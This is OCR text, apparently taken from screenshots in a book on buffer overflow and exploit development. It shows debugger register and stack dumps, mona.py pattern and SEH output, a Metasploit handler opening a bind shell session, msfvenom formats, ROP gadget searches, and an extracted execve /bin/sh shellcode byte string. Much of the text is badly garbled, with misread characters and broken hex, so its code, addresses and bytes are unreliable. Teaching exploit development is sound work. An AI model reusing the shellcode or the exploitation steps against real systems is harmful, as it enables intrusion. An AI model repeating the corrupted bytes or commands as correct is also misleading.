xor  rdx,rdx
add  rdx,oxc
syscall

xor  rax,rax
add  rax,0x3c
xor  rdi,rdi
syscall

call 400082 <code>

push  @x6f6c6C65
and BYTE PTR [rdi+ex6f],dh

ib 40011c <hello world+0x76>
fs
.byte oxa
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(00 pedet x/bx &meml

0X6000€0: ox12
Q0bpedat x/hx Gmem2
0x6000e1: 0x1234

gdb-pedas
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stack 2728 6.6 0.0 11416 700 ? S 02:01 0:00 /bin/cat
stack 5164 0.6 0.0 11416 692 pts/0 S+ 07:30 0:00 cat
stack 5167 ©.0 0.0 496 4 pts/4 D+ ©7:30 0:00 grep --color
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metasploit v4.16.12-dev

1
+ -- --=[ 1693 exploits - 968 auxiliary - 299 post
+ -- --=[ 499 payloads - 40 encoders - 10 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

msf > use exploit/multi/handler

nsf exploit(handler) > set PAYLOAD linux/x64/shell/bind tcp
PAYLOAD => linux/x64/shell/bind_tcp

msf exploit(handler) > set RHOST 192.168.238.128

RHOST => 192.168.238.128

nsf exploit(handler) > set LPORT 4444

LPORT => 4444

nsf exploit(handler) > exploit

[*] Exploit running as background job 0.

[+] Started bind handler
[+] Sending stage (38 bytes) to 192.168.238.128
msf exploit(handler) > [+] Command shell session 1 opened (192.168.238.1:34429 -> 192.168.238.128:4444)

asf exploit(handler) > |
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‘The instruction at 041414141 referenced memory at 041414141, The
memory could not be read.

Click on OK to terminate the program

oK
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as oozs

Lasczzr
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ASCIT "ARAAAAAAAAAAAAAAAAAAA
ASCIT "login®

sapic o(zEEEEEER)
s2bic o(zEEEEEER)
s2bic o(zEEEEEER)
s2bic o (zEEEEEEs)
s2bic 75E3R000 (F7E)
s2pic o (zEEEEEER)

=320%_sUCCESS (00000000)
(NO, NB, NE, &, NS, PE, GE, G)
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WRITE(2) Linux Programmer's Manual WRITE(2)

NAME

write - write to a file descriptor

SYNOPSIS

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION

write() writes up to count bytes from the buffer pointed buf to the
file referred to by the file descriptor fd

The number of bytes written may be less than count if, for example
there is insufficient space on the underlying physical medium, or the
RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the
call was interrupted by a signal handler after having written less than
count bytes. (See also pipe(7).)

For a seekable file (i.e., one to which lseek(2) may be applied, for
example, a regular file) writing takes place at the file offset, and
the file offset is incremented by the number of bytes actually written
If the file was open(2)ed with O_APPEND, the file offset is first set
o the end of the file before writing. The adjustment of the file off-






images/00098.jpeg
Ox7fffffffdfbe --> @x1
CLA0000L (< starts29s: call  0x400080 <addition>)
ox4
ox2
0x0
oxo
0x0
ox0
0x0
0xe
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8 x64dbg - File: conhost,exe - PID: 96C - Module: ntdldll - Thread: 130

Debug  Plugis  Favour

29 E % §aﬂi pa |

Aug 142017

S=ir=]

CEoPh# L EY

=3
. e
+ | 20000000 &
+ | oooooonorrmooszs|  cc
. 03| cc
Toosae|

< | oooooonorroposar | cc
+ | 2000000077000: o
< | oooooonor7oo0san| et
+ | oooobooorrooossa| s
+ | oo0oo000r7mo0s 2| ce
+ | oooooooorrmozaa|  cc
< 200000, &
+| oooooonorropossa|  cc
000000007 70Dz 48| €C

< | S00000077c00547| €
+ | oooooonorrmoossa| o
+ | ooooono7rmonss|  cc
+| 25000000 S
+ | 20000007 &
. &
. &
. &
&

= ]

1F 4 00 00 00 00

1F &4 00 00 00 00

Tnts
1nt3
int3
3
3
int3

ints

ints
nt3
3
3
nt3
int3

ints

incs
3
3
nt3
i3

B cru | @aepn | Lrtoo | [ites | ® oreslponts | 8 vereryap | G colstack | S | ol st | @syrmoas ||  sowes [110)
|

fop_ dword p

nop_ dword ptr d

~|[iae Fru

RAX  000007FFFFFDAC0D
REX  DDO0DDD00000000D
RCX  000007FFFFFDE000
RDX  0000000077177ECO
REP  0000D0000000000D
BSE  00000000020aF7E8
RSI  0000000000000000
RDI  0000DD00D000000D

<ntd11.DbguiRemotesrs

Re  D0000000DD00000D
RS 0000000077177ECO
R10  000000000000000D
Ril  000000000000000D
R1Z  0D00DD00D000000D
R13  000000000000000D
R14  0000DD00D000000D
RIS 0000000000000000

<ntd11.DbguiRenotesr

i
Default (x64 fostcal) 5 2] [ urlodked

FEx 000007FFFFFDE000. i

- Text:0000000077000531 NEd11.d11: §50531 #47931

Fdx 0000000077177EC0 <ntd11.DbguiRemotear eaki|
F& 0000000000000000'
5 0000000077177EC0 <ntd11.DbguiRemoteareaki

“oump 1 | Goump2 | Goump3 | Goumps | Goumps | B wath s | e pha R e OOOO0000TTERTED

1 000000007717 7EF8| return 0 Nt »

Address [ Hex.

'0000000000000000|

00000009#0000000

0000003077081000 [68 53 50 50]00 00 €I EE[15 F7 06 F1|23 F4 €5 F3[ %+ AT [ |
0000000077081030( 47 01 00 88|02 00 00 00|FO OF C1,Ag180 3¢ 23 84 i SEEERE & CEERcen
0000000077081020 03 FE 72 50|0F 85 3t 63|07 0o 5389 83 A8 00 0 L 00 asiniig
0300000077081030 03 56 88 53|75 35 85 53|59 00 05 =A% 23 Co £3| B
0300000077081030 | 3¢ 7D 03 30|F0 83 03 Fr|of 8 DB o1 20 £5 i o o
0300000077081050 62 07 0 15|85 30 35 25|35 31 10™¥|8s 26 £8 o5 Do E
0300000077051060 03 £4 14 65 |02 50 84 Co|oF 8 i1 £s|os 50 38 88 00000000020A2522 | 2000000000000000
0000000077081070| 8E 68 01 00|00 E8 46 1F|05 00 41 BA|01 00 00 00 nannnnnnanara s | Ananannnnnnnnnnnl =
o & i e 3
Command: oefaut ]
| Paused | [attach breakpointreached: [Time Wasted Debugging: 0:00:01:13.
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‘context_register

registers
> 0x1234
4 o> 0234

aTfiffiesss --> et
L (cstartll: mov  eax,0030)
00
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Junk
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RAX RDI RSI RDX
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syscall number first argument second argument  third argument
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o0bopedes run $(cat input.txt)

Starting program: /home/stack/buffer-overflow/exploit-development/buffer $(cat i
nput. txt)

process 8373 is executing new program: /bin/dash

S cat /etc/issue

[New process 8380]

process 8380 is executing new program: /bin/cat

Ubuntu 14.04.5 LTS \n \1

S [Inferior 2 (process 8380) exited normally]
Warning: not running or target is remote
gdb-pedas






images/00153.jpeg
--registers-

0x4000ch (<_start+27>:
oxc ('\xec')

0x6000d8 ("hello there\n")

ox1

ox0

ox7fFfffffelad --> ox1

Gxa000d0 (<_start+32>: mov  edi,oxb)

ox0

ox0

ox0

0x302

ox0

ox0

ox0

R1S: 0x0

EFLAGS: ©x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

mov eax, 0x3c)





images/00376.gif
i
I+] Tooking for cyclic pattern in memory
Cyelic pactern (normal) found ac 0x00£e71S0 (length 260 byces)
Cyelic pactern (normal) found ac 0x00fedsdl (lengch 1000 byces)
 Scack pivot between 25709 & 26709 byces needed to land in this pattern
Cyelic pactern (normal) found ac 0x002e0a5d (lengch 1000 byces)
Cyelic pactern (normal) found ac 0x002eb330 (length 1000 byces)
[4+] Examining registers
| EIP contains mormal pattern : 0xd2306142 (offses 780)
ESP (0x00£27464) points st offsec 728 in nommal pattern (length 212)
[4] Examining SEH chain

[+] Examining scack (entire scack) - looking for cyclic pastern
Walking stack from 0x00£e2000 To OXODFefffe (0XO000AETe byves)
000267150 - Contains normal cyelic patvern at ESP-0x3L4 (-78B) : offset O, length 260 (-> 0x00£e7253 : ESP-0x210)
0007258 - Contains normal cyclic patvern at ESP-Ox20e (-524) - offset 264, length 736 (-> O0x00£e7537 : ESP+Oxad)
0008270 - Contains normal cyclic patvern at ESPHOxlbOc (+6924) : offset 4, length 996 (-> 0x00£e9353 : ESP+Oxlef0)
0x00£e5£78 - Contains normal cyclic patvern at ESPHOxZbLe (+L102B) : offset 3, length 997 (-> Ox00feasSe : ESP+OxZefs)
0x00%ea£70 - Contains normal cyclic pattern at ESPHOx3bOc (+SIL6) : offset 4, length 28 (-> Ox00feafSb : ESP+0x3b26)
0x00%eat34 : Contains normal cyclic patvern at ESPHOx3b30 (+15152) : offset 40, length 960 (-> O0x00feb3S3 : ESP+Ox3ef0)
0x00%edsas - Contains normal cyclic patvern at ESPHOx6470 (+25712) - offset 3, length 997 (-> Ox00fedcbS : ESP+Ox68SS)
[4] Examining scack (entire scack) - looking for pointers to cyclic pastern
Walking stack from 0x00£e2000 To OXODFefffe (0X0000AETe byves)
0x00ze310c - Pointer into normal cyclic pattern at ESP-0x43S8 (-17240) : OxO0fe74dl : offsec 753, lengch 247
0x00£e5030 - Pointer into normal cyclic pattern at ESP-0x23d4 (-S172) : OxO0fe74dl : offset 753, length 247
0x00£e7d10 - Pointer into normal cyclic pactern at ESBHOuSac (+2220) : Ox0feafée : offset 2, length 30
0x00£e7ass - Pointer into normal cyclic pactern at ESPHOx334 (+2356) - Ox0feafée : offsec 2, length 30
0x00£e7e20 - Pointer into normal cyclic pattern av ESPHOxSbe (+242) - OxO0feSfée : offset 2, length 38
0x00%e7e28 - Pointer into normal cyclic pattern av ESPHOxScd (+2500) : OxO0feSfée : offset 2, lengch 538

[4] Preparing outpuc file 'Findmsp cxc’
- Creating working folder c:\logs\syncbrs
- Folder crested
- (Re)secving logfile e:\logs\syncbrs\findmsp. txc
[4] Generating module info table, hang on
- Processing modules
- Done. Let's zock 'm zoll.

[+] This mona.py action took 0-00:06.630000
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Registers ®
0000000606000000 -
0000000006R00000
0000000600001234
690000800aR00000
00007 d67aead4s
0000000G0eR00000
0000000600000000
0000000600005675
600006G0GRa0000
600000000eRa0000
0000000606R00000
6900000006RA0000 =

7
Registers | Bookmarks

B Stack 2L
00071 7d:67acad4% | 9000008000001234 4. . B
0007 7d:67aeads0 | 000OA0E00A00E0EL

000077 67aeads8 | 00007 Tfd67aeca7b  {I1g8. . . [ASCII "
00007 d:67aeads6 | 000080800000E000

0000717 67aeadsE | 00007 F1d67aech26 |&1008. . . [ASCII "
00007 7dl:67aead76| 00007 Tfd67acch30 ool . . [ASCIT "
000071 67aead75| 00007 Ffd67aech3f | 1Ig6. . . [ASCIT "
00007 dl:67aeads0| 00007 Tfd67acchsd THgH.. . [ASCIT
000071 67aead?8 | 00007 Ffd67aech67 oo . . [ASCIT
00007 7d:67aeadp | 00007 Ffd67acch72 | rgH.. . [ASCIT
00007 Fd:67aead98 00007 Fd67aech8s .06 . . . |ASCTT
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--registers--
ox1
ox0
ox0
oxc ('\xec')
0x6000d8 ("hello there\n")
ox1
ox0
ox7FFfffffelad --> ox1
Cranncs (<_start+25>: syscall)
ox0
ox0
ox0
ox0
ox0
ox0
ox0
ox0
0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
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7DESOLDL 8DA424 00000000 LEA ESP,DWORD PTA S5:(2SP]
7DEROIDE GDA424 00000000 LEA ESP,DWORD TR SS:(258]

7DEBOIDE S0 Nop

7DEBOIEO  EEDS MoV EDX, ESP

7DEBO1EZ OF3s sysewTER

7DEBOIES C3 TR

7DEBOIES BDA424 00000000 LEA ESP,DWORD TR S8

7DEsO1EC 8D6424 00 LEA ESD, DWORD PTA S5: (E5P]

7DEROLFO  eDS424 08 I=A EDX, DWORD PTA Ss: [2SB4) =2
7DEBO1Fs CD 2E T 2E o
7DEBOIFE C3 TR e
7DEBO1E7 S0 Nop 5d
7DEBO1FE 0000 DD BYTE PTR Ds: [EAX],AL i
7DEBO1FA 0000 ADD BYTE PTR Ds: [EAX),AL £
7DESOLEC 1885 £74C0000  SBB BYTE PTR DS:[ECKHACE7],CL o
7DEB0202 0000 00 BYTE PTR Ds: [E8X],AL a3
7DEB0Z04 PusH X o8
7DE80205 PUSH ECx

7DEBO206 ADD DHORD PTR Ds: [EAX] , EAX =
7pE80208 ADD DHORD PTR Ds: [EAX], =AX o
7DEB0208 200 BYTE PTR Ds: [EAX),AL =
7pE8O20C TOCK prefix is nov allowed s
7DEB020E ADD BYTE PTR Ds: [EAX],AL =
7DER0Z10 EB 07000020  ChLi SDEB02IC i
7DEB0215 0201 ADD AL, BYTE PTR DS: [ECK] i
780217 00EO 20D L, 20 =
SEx=72EDE000 st7
Stack S5:[0028¥FF8]=00000000

00401280 €18
00000000
00000000
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hello-world:

file format elf64-x86-64

Disassembly of section .text:

0000000000400080 < _start>:

400080

eb

oc

0000000000400082 <hello world>
68 65 6C 6C 6F
20 77 6f

400082:
400087:
40008a:
40008c:

72
64

6c
0a

000000000040008e <code>:

40008e:
400090
400093
400097
40009e
4000al:
4000a5:
4000a7:
4000aa:
4000ae:
4000b1:

b
a8
a8
a8
a8
a8
of
a8
a8
a8
of

o1
31
83
8d
31
83
05
31
83
31
05

i
7
35
d2
=

)
0
f

or
o1
e4 ff Ff fF
oc
3c

jmp  40008e <code>

push  OX6f6c6C65

and  BYTE PTR [rdi+ox6f],dh
b 400078 <code+0x6a>
dh,BYTE PTR fs:[rax-0xceb7ff]

mov al,exl
xor  rdi,rdi
add  rdi,ox1
lea  rsi, [rip+oxFFFFFfrfffififed]
xor  rdx,rdx
add  rdx,oxc
syscall

xor  rax,rax
LG rax,@x3c
xor  rdi,rdi
syscall
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h-eios peda checksec

[
FORTIFY  : disabled
NX : ENABLED
PIE : disabled

RELRO : Partial
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code-

0X55555555450C : nop  DWORD PTR [rax+0x0]
0X555555554510 <puts@lt>:  jnp  OWORD PTR [rip+0x200b02 #
0X555555554516 <puts@plt+6>: push  0x0

0X55555555451b <puts@plt+11>: jmp  0x555555554500

0X555555554520: jmp  QWORD PTR [rip+0x200ad2] # 0x5555557541f8
0X555555554526: xchg  ax,ax

0X555555554528 ¢ add  BYTE PTR [rax],al

0X55555555452a: add  BYTE PTR [rax],al

->  BX555555554500: push QWORD PTR [rip+0x200b62]
0x555555554506:  jmp  QWORD PTR [rip+0x200b04

0X55555555450c: nop  DWORD PTR [rax+0x0

0X555555554510 <puts@plt>:

jmp

QWORD PTR [rip+@x200b02]
JUMP is

# BX555555755008
# 0X555555755010

taken

# 0X555555755018
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# objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2
cut -f1-7 -d' ' | tr-s ' ' | tr '\t' ' ' | sed 's/ $//9' | sed 's/ /\\\x/g
paste -d ' -s
\X4B\X31\XCO\X50\x48\xBI\xe2\x48\Xbb\x2 F\X2 F\X62\ X69\ X6\ X2 F\X73\X68\X53\x48\x89
\Xe7\X50\X57\x48\X89\ xe6\x48\ xB3\XCO\X3b\x0F\X05

#
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icrosoft Windous LUersion 6.1.76011
opyright (o> 2017 Computer Hedia Corporation. A1l rights reserved.

\Users\test>ipconfig

indous IP Configuration

thernet adapter Bluetooth Network Connectior

Media State . S .. ... : Media disconnected
Connection-specific DN§ Suffix’ .

thernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdgmain
Link-local IPué Address . . . . £080::2dc0:564a0448 £ 198711
IPud Address. . . - . . . . . . 192.168.129.128

Subnet Mask . . . . ... ... 255.255.255.0

Default Gateway - - - . . . .

\Users\testd
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1 registers 1
RAX: OXTEEFFFFFEFEer
REX: 0X0
RCx: X
RDX: X0
RSI: 0x0
"DI: X6
REP: 0X
RSP: OX7TffFfffe0s0 --> BX1
RIP: 00000000 (<_start+1ds: mov  eax,ex3c)
: oxo
79 : 0x0
: ox0
R11: 0x0
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
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024BF9CO 41414141 AAAA
0238F5Cs  41slslsl ABAA
0248F5CE  4lslslsl AAAA
0248F5CC 41slslsl AAAA
02487500 41slslsl AAA
0248F5Ds  41slslsl ABAA
02858 slslslsl AAAA

M 33838383 cccc

0248754 43434383 CCCC
02F5E8 43434383 CCCC
0238F5EC 43434383 CCCC
0287570 43434343 CCCC
02F5Fs 43434383 CCCC
028 43434383 CCCC
028F55C 43434383 CCCC
02187A00 43438383 CCCC
02187A03 43438383 CCCC
0216FA0 43434383 CCCC
0238FA0C 43434383 CCCC
0238FA10 43438383 CCCC
0218FALs 43438383 CCCC
021FAle 43438383 CCCC
0238FAIC 43438383 CCCC
0218FA20 43438383 CCCC
0216FA23 43438383 CCCC
0216FAze 43438383 CCCC
0218FA2C 43434383 CCCC
0218FA30 43438383 CCCC
0218FA33 43438383 CCCC
0216FA38 43434383 CCCC
0238FA3C 43434383 CCCC
0218FA30 43438383 CCCC
0216FAss 43438383 CCCC
0216FAsE 43438383 CCCC
0218FASC 43434383 CCCC
0218FAS0 43434383 CCCC
SRS MankaRa Site
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--registers--

OXFIFFFFF
0x0

0x0

0x0

0x0

0x0

0xe

ox7fffffffeese --> Bxl1

Cra000e (< start+las: mov  eax,0x3c)
0x0

0x0

0x0

0x0

0x0

ox0
0x0

0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
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oxe
Ox7fFTffffdfbo --> Bx1

0900090 (<_start+12>: call  0x400080 <addition>)
ox1
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oxe






images/00267.jpeg
Documents\buf

eytt . you succeeded a





images/00386.jpeg
Server Help

o'a‘o )

Sart Stop | Star il StopSSL | About

URL: http://192.168.129.128
W |[Rewt)
SSLURL:  https://192.168.129.128 Fiod @

[ClLaunch Wb Server atwindows starup
Startup minnzed i ystemiray

7] Automaticaly actvate server at startp
Automaticaly actvate s server ot startp

Enable gues o g

Enable guest o register anew account [ ]

Logint virtulfolder by default

Allow users to upload files to forums:

[iisabie forums
Alow fes to be vernriten

Flsavek e =

(Vore Optons.e. | [ TP Setup. | [ Templtese: ] [ Sevice

Forums

L&
=

User Account

[ Web Serveris online] / [SSL Server is online]





images/00294.gif
NOP

Shellcode

Ox7fifffffezcO






images/00399.gif
O4ADGFA0 41414141 ARAR
04ADGFAS 41414141 ARRA
e pran v
| 42424242 3333 Pointer to next SIH record
04ADEFEO 43434343 CCCC SE handler
04ADGFES 44444444 DDDD
04ADGFEE 44444444 DDDD
04ADGFEC 44444443 DDDD
04ADGECO 44444444 DDDD
04ADGECs 44444444 DDDD
04ADGECE 44444444 DDDD
04ADGECC 44444444 DDDD
04ADGFDO 44444444 DDDD
04ADEFD4 44444444 DDDD






images/00254.jpeg
[19:35:221 Access violation when executing [626262621 — use Shift+F?/F8/F9 to pass exception to program
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# ./buffer aaaaaaaaaaaaaaa
Segmentation fault

#
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00401370 | . Z8 96080000  CALL <aMP. smevert.printe> !pxxntf

00401332 | - aDes sorErEEr L=a Eax,DORD PT3 Ss: [z8P-130)

o0s013za | - asas =4 MOV DWORD PTR S5: [EBB-1C), EAX

0040138 | - emas =4 MOV EAX, DWORD PTR Ss: [28B-1C)

oos013az | - FEDO casn Eax

00401350 [ - 81ca aco10000 ADD ZSP, 18C

o0s013s6 [ - s8 PoP EBX

o0s013s7 | - sz zop =51

o0s013se [ - sF zop =01

00s01395 [ - sp rop EBP

oosorasa L ca TR

00401358 5 55 susH =82

oosorasc | | aszs MoV 8D, E5P

o0s01asz | - aasc 28 suB =sp,28

00401381 | - aas oa NOV EAX, DWORD PTA S8: [28B48)

o0a013as [ - @sasza 04 Mov DWORD BTR Ss:[zSP+a),EAX

o0s013az | - apas =5 IEA ERX, DWORD PT Ss: [E8B-17)

0040138 | - asoaza MOV DRORD PTR S8: [258), EAX

0040132 [ | =8 60080000  Ciii <aMP. smsvers.strepy> screpy

00401383 | - B2 ooooooo0 MOV EaX,0

oos013za | - cs 12avE

oos01ass L ca e

0040133 5 55 susH =52

o0s013za | | ass MoV £8P, ESP

00401380 | - aaza F0 AND 5P, FEFFEEFO

o0s01aco | - aazc z0 suB EsP,20

004013C3 | | =2 DA0S0000  CALL buffers.004013A0

004013C8 | - C74424 1C 010(MOV DWORD P13 Ss: [2EE4ic], 1
401300 s Moy Eay_cwoen ere se reaslc

00403024-butzer3 00103024 (ASCII "Shellcods Lemgth: 3d")
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[INFO]
[L0AD]
[INFO]
[L0AD]
[LoAD]
[INFO]

[INFO]

0X000800000040065:

Load gadgets for section: PHDR
loading... 100%

Load gadgets for section: LOAD
loading... 100%
removing double gadgets
searching for gadgets: %rdi

100%

File: /home/stack/buffer-overflow/rop/rop
pop rdi; ret;
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Disassembly of section .text:

0000000000400080 < start>:

400080
400082:
400085:
400089
400090
400093
400097
400099
40009¢
4000a0:
4000a3:

bo 01 mov  al,exl
48 31 f xor  rdi,rdi
48 83 c7 01 add _ rdi,ox1
|48 8d 35 15 00 00 00 lea rsi, [rip+ex15] |
48 31 d2 xor  rdx, rdx
48 83 c2 oc add  rdx,oxc
of 05 syscall

48 31 co xor  rax,rax
48 83 co 3c add  rax,0x3c
48 31 f xor  rdi,rdi
of 05 syscall
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tarting vulnserver version 1.80
alled essential function dll version 1.90

his is yulnerable softuare!
o not allow access from untrusted systems or netuorks?

laiting for client connections...
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ox7fffffffdfbe --> ex1
0x4000a6 (<exit_ten>: mov  eax,0x3c)
ox6
ox2
ox0
ox0
0x0
ox0
0x0
0x0
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7DEBECBS C2 08OO z=TH B

7DERRCEE BB 2A000000 MOV EAX,ZB
7DEBRCED BS 03000000 MOV ECK,3

7DEBRCC BDS428 03 LEA EDX,DWORD PTR S5: [ESP+4]
7DESRCCs  64:FFLS CO00000(CALL DHORD PTR FS:[CO]
7DEBECCD B3Cs 04 200 52,4

7DEBECDO C2 0400 azmn 4

7DEBECDS 50 Nop

7DERRCDS BA 2B000000 MOV EAX,ZB

7DEBRCDS BS 1A000000 MOV ECK,1A

7DEBRCDE  BDS428 04 LEA EDX,DWORD PTR S5: [ESP+4]
7DESRCE2  64:FFLS CO00000(CLi DHORD PTR FS:[CO]
7DEBECES B3CH 04 oD 5,4

7DEBECEC C2 2400 aETH 20

7DEBECEF S0 rop

7DEBRCFO BB 2C000000 MOV EAX,2C

7DEBECFS  33C3 ¥OR ECX, ECX

7DEBRCF7 BDS4Z4 04 LEA EDX,DWORD PTR S5: [Z5P+4]
7DEBFCFE  64:FFLS COD000O(CALi DHORD PTR FS:(COl
7DEeFDOZ B3CH 04 20D 5,4

7DEBFDOS C2 1400 RETH 13

7DEEFDOB BB 2D000000 MOV EAX,2D

7DEBFDOD 333 %0R ECX, ECX

7DEBFDOF  BDS424 04 LEA EDX,DWORD PTR SS: (E5P+4]
7DERFDI3 64:FFLS CO000OD DHORD PTR FS:[CO]
7DEBFDIA B3Cs 04 200 5,4

7DEBFDID C2 1000 2218 10

sp-ozerEss

GozarEce
00302000 00 g€ o0z8¥EDD
00202008 B0 1C 00 e o0zs7EDS
00402010 00 00 00 o02s7EDS
00302018 00 00 I oozemEDC
00302020 00 00 00 oozsrEzD
00302028 00 00 00 oozsFEEs
00402030 00 00 I oozszEzs
00302038 00 00 00 oozezEEC
00302040 00 00 00 oozszERD
00302048 00 00 00 oozsrErs
00402050 00 00 0 oozszErs
00302058 00 00 I oozezERC
00302060 00 00 00 o0z8zEO0
00302068 00 00 00 oozs¥FOs
00402070 00 00 I oozszF0s
00302078 00 00 00 oozezFOC
00302080 00 00 00 oozszEL0
00302088 00 00 00

00402050 00 00 0 oozszELs

[21:86:351 Process terminated, exit code ©
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ox7FFFFfffezbd:
ox7FFfffffezbe:
Ox7FFFFfffeabf:
ox7FFFffffeco:
ox7FFFffffeci:
ox7FFfffffezca:
ox7FFFffffeac3:
ox7FFFffffe2ca:

code
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#
# cat /usr/include/x86_64-linux-gnu/asm/unistd 64.h | grep listen
#define _ NR listen 50

#
+0
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0X555555554501 xor
0X555555554506 g QWORI
9X55555555450C : nop  DWORD
0X555555554510 <puts@plt>:  jmp

0X555555554516 <puts@plt+6>: push
0X55555555451b <puts@plt+11>:
0X555555554520: jmp  QWORD
0X555555554526 ¢ xchg  ax,ax
0X555555554516 <puts@plt+6>
0X55555555451b <puts@plt+11>:
0x555555554520:  jmp  QWORD
0x555555554526:  xchg  ax,ax

code-

eax, 0x200b02

PTR [rip+0x200b04
PTR [rax+0xe]

QWORD PTR [rip+0x200b02]

ox0

jmp  ©x555555554500
PTR [rip+0x200ad2]

push  @x0
jmp  ©x555555554500
PTR [rip+0x200ad2]

*

# 0x555555755

55010

# 0x555555754ff8

# 0x555555754Ff8

Jume is

taken
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stack@ubuntu:~$
stack@ubuntu:~$ ./reverse-tcp-shell
shellcode Length: 130
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Che | S -t

9840126F | 10U DUORD TR 551 [ESP), bufferd. 00483000  ASC

55181557 D0 BUORD EIR S0 (ECE LB burea:Shoniocn i
401376 10U DUORD PTR S5: [ESP], blffers. o

30461565 10U DUORD PTR o=
82451753 HOU DUORD PTR S
33451253 10U DUORD PTR Sz
Sada150a| noy DUoRD PTR 33:

Lipacy=1.dll

SR i e

hqu-mune (he 31 Lur:
2 euatiuery 7ai e For 7 bur
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registers-

[ (<nain>: push  rbp)

0xe

0x0

ox7ffffff b8 --> ex7fffffffe4b5 ("LS_COLORS=rs: 1;36:mh=00:pi=40; 33
41:59=30;4: a=30;41:tw=30;42:0w=34;42:5t=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.
ox7fffffffelas --> ex7fffffffedae --> Ox4c006T6c6c65682f ('/hello’

ox1

OX7FFFFFffenco --> 0x355555554660 (<_libc_csu_inits: push  ris
x7fffffffedco --> 0x555555554666 (<__Llibc_csu_inits: push  ris)
C0SSiiiiiiii (<maint4>: lea  rdi, [rips0x9T] # 0x5555555546e4
©iSiiiiiiiinds (< libe csu_finis: repz ret)

8x77fTf7de8ean (< dl fini>: push  rbp)

0x4

ox1

CiSSiiiiiinil (< starts: xor  ebp,ebp

ox7fffffffelad --> Bx1

0x0

ox0
: 8x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

ode
0x555555554635 <frame_dummy+5>: mp <register_tm_clones
0X55555555463a <main>: push  rbp

0x55555555463b <main+l>: mov  rbp,rsp

0x55555555463e <main+4: lea rdi, [rip+ex9f] # 0x5555555546e4
0x555555554645 <main+11l> call 0x555555554510

0X55555555464a <main+16> mov  eax,oxe

0x55555555464F <main+21>:  pop  rbp

0x555555554650 <main+22>: ret

- 5 8 : stack-- : = :
8000| Ox7TFFffffeaco --> 0x355555554660 (<_libc_csu_init;
0008| 0x777FFFffe0c8 ~-> 00771 (17250251 (<_1libc_start main+241>: mov  edi,eax
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o0s01288
00401250
00401255
00401255
00401280
0040122

00401228
00401280
00401285
00401285
004012c0
004012¢s
004012C7
0040123
00401200
00401205
00401207
00401208
00401205
00401208
00401208
0040120C
00401200
00401202
0040120F
00401220

s

FFIS 00614000
8 GBEDEFEF
8p7426 00
apBC27 000000(
83EC 1
70424 0200000
FF1S 00614000
=8 sBFDEFFE
8p7426 00
8pBC27 000000(
a1 18614000
FrE0

asre

8DBC27 000000(
a1 ocer4000
FrE0

50

50

0

0

0

0

50

0

0

a1 oczos000

12
12
su

MOV DHORD PTR S
"0 DHORD PTR DS:(<smevert._set_spp_ti
CALL pugferz 00401000

ST, DHORD PTR Ds: [EST]
DI, DHORD PTR Ds: [=DT]
22X DHORD PTR DS: (<emsvert.stexit>]

122
=y
MoV
e
ov
12
Nov
e
xop
xop
xop
xop
xop
xop
xop
xop
xop
Nov

D TR S8
CSL1 DWORD PTR DS:(<cmevert._set_spp_ti
311 buszerz.00401000

ST, DHORD PTR Ds: [£ST]
DI, DHORD PTR DS [EDT]

=se;10

=ax
=s1,551

DI, DHORD PTR Ds: [EDT]
ZAX] DHORD PTR Ds: [<amsvert.

=ax

=2, DHORD PTR DS [40200C]

=sr-oozarrac

00402000
00402008
00402010
00s0z018
00s0z020
o0s0z0za
00402030
00402038
00402040
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# msfvenom --help-formats
Executable formats

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp,
loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war
Transform formats

bash, c, csharp, dw, dword, hex, java, js_be, js le, num, perl, pl, powershell, psl, py, python, raw, rb
, ﬁuhy, sh, vbapplication, vbscript
#
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[+] Results
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starcaull

starcmull,
startmull,

stertnull
stercnull

{PAGE_EXECUTE_READ) [fsws_exe] ASIA:
sscii (PAGE_EXECUTE_READ} (favs.exel
sscii (PAGE_EXECUTE_READ} (favs.exel
{PAGE_EXECUTE_READ) [fsws_exe] ASLA:
{PAGE_EXECUTE_READ) [fsws_exe] ASLR

False,
asza:
asza:
False,
False,

stercnull
stercnull

starcmull,

stertnull
stercnull
stercnull
stercnull

starcnull,unicode {PACE_EXECUTE_RERD} [fsws_exe
starcmull,
startmull,
startmull,

stertnull
stercnull

{PAGE_EXECUTE_READ) [fsws_exe] ASLR
{PAGE_EXECUTE_READ) [fsws _exe] ASIA:
asciiprint,ascii {PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ) [fows_exe] ASLA:
{PAGE_EXECUTE_READ) [fsws_exe] ASLR
{PAGE_EXECUTE_READ) [fsws_exe] ASLA:
{PAGE_EXECUTE_READ) [fsws_exe] ASLR

asciiprint,ascii {PAGE_EXECUTE READ}
asciiprint,ascii {PAGE_EXECUTE READ}
sscii (PAGE_EXECUTE_RERD} (fawa.exel
{PAGE_EXECUTE_READ) [£sws_exe] ASLR
{PAGE_EXECUTE_READ) [fsws_exe] ASIA:

- Plesse weit while I'm processing sll remsining results and writing everything to fils ..

[+] Done_ Only the first 20 pointers are shown here.

Found & total of 1545 pointers

For more pointers,

False,
False,
Lesus
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False,
False,
False,

1 AsIR:

Lesus
Csus
asza:
False,
False,

open c:\logs\fsus\seh.tat.
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# code--

0X555555554506 ¢ jmp  QWORD PTR [rip+0x200b04
0X55555555450¢ : nop  DWORD PTR [rax+0x0
0x555555554510 <puts@plt>:  jmp  OWORD PTR [rip+8x200b02

0X555555554516 <puts@plt+6>: push  0x0

0X55555555451b <puts@plt+11 Jmp 0x555555554500
0x555555554520:: jmp QWORD PTR [rip+@x200ad2]
0x555555554526: xchg ax,ax

Bx555555554528: add BYTE PTR [rax],al

# 0x555555754f8
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Continuing.
